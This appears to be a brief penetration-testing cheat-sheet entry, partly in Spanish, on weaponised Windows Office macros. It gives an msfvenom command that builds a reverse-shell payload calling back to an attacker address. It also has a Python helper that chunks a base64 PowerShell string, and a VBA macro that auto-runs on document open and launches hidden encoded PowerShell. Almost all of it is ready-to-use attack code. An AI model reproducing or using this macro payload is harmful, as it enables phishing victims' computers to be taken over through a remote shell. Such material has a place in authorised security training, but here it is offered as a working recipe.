Windows Office Macros
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.111 LPORT=443 -f hta-psh -o evil.htastr = "<powershell script in base64>"
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -enc "
Str = Str + ...
<Pegar el resultado del script en base64>
CreateObject("Wscript.Shell").Run Str
End SubÚltima actualización